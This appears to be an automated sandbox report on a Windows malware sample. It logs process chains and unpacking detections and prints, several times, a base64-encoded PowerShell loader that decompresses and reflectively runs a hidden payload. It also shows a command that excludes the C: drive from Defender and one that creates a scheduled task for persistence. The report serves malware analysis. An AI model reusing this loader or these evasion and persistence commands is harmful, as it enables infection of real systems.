Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Process created: C:\Windows\SysWOW64\wscript.exe "wscript.exe" "C:\Users\user\start.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F324.exe C:\Users\user\AppData\Local\Temp\F324.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F557.exe C:\Users\user\AppData\Local\Temp\F557.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook

Jump to behavior

Source: xwREqjHUEv.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wkernel32.pdb source: dialer.exe, 00000008.00000003.2107474129.00000000057A0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: dialer.exe, 00000008.00000003.2106681750.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2106830579.0000000005870000.00000004.00000001.00020000.00000000.sdmp, F324.exe, 00000017.00000003.2780142315.0000000003B00000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: dialer.exe, 00000008.00000003.2107068189.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2107215768.0000000005820000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: dialer.exe, 00000008.00000003.2106681750.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2106830579.0000000005870000.00000004.00000001.00020000.00000000.sdmp, F324.exe, 00000017.00000003.2780142315.0000000003B00000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: dialer.exe, 00000008.00000003.2107068189.0000000005680000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000008.00000003.2107215768.0000000005820000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: dialer.exe, 00000008.00000003.2107474129.00000000057A0000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 6.2.powershell.exe.8770000.2.raw.unpack, suSFEPEfDHGCWwn.cs	.Net Code: sIeuMaGmXOmgxKA System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.8770000.2.raw.unpack, suSFEPEfDHGCWwn.cs	.Net Code: sIeuMaGmXOmgxKA
Source: 13.3.OpenWith.exe.24aba862410.19.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.19.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.8.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.8.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.5.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.5.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.13.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.13.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.18.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.18.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.17.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.17.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.4.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.4.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.3.OpenWith.exe.24aba862410.3.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.3.OpenWith.exe.24aba862410.3.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 13.2.OpenWith.exe.24abaa39d60.3.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 13.2.OpenWith.exe.24abaa39d60.3.raw.unpack, Runtime.cs	.Net Code: CoreMain

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) \| Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_0058FA0A LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

24_2_0058FA0A

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0312B8BA push eax; ret	6_2_0312B8D9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A4305 push F693B671h; retf	8_3_032A430A
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A3B74 pushad ; retf	8_3_032A3B83
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A21AF pushad ; ret	8_3_032A21B7
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A21EF push ecx; iretd	8_3_032A21FB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A45FC push esi; ret	8_3_032A4600
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A4FC8 push es; ret	8_3_032A4FC9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A0FCE push eax; retf	8_3_032A0FCF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A3E4E push edi; iretd	8_3_032A3E55
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 8_3_032A5CD2 push dword ptr [edx+ebp+3Bh]; retf	8_3_032A5CDF
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF9D1E push esi; retf 000Ah	13_3_00007DF488BF9D1F
Source: C:\Windows\System32\OpenWith.exe	Code function: 13_3_00007DF488BF4CA0 push edx; ret	13_3_00007DF488BF4CAB
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00402EE1 push 000000C3h; ret	19_2_00402FFC
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00402A47 push ebx; ret	19_2_00402A53
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00401503 push edi; ret	19_2_00401530
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00402A1F push ebx; ret	19_2_00402A22
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 19_2_00402A2C push ebx; ret	19_2_00402A3E
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00402EE1 push 000000C3h; ret	22_2_00402FFC
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00402A47 push ebx; ret	22_2_00402A53
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00401503 push edi; ret	22_2_00401530
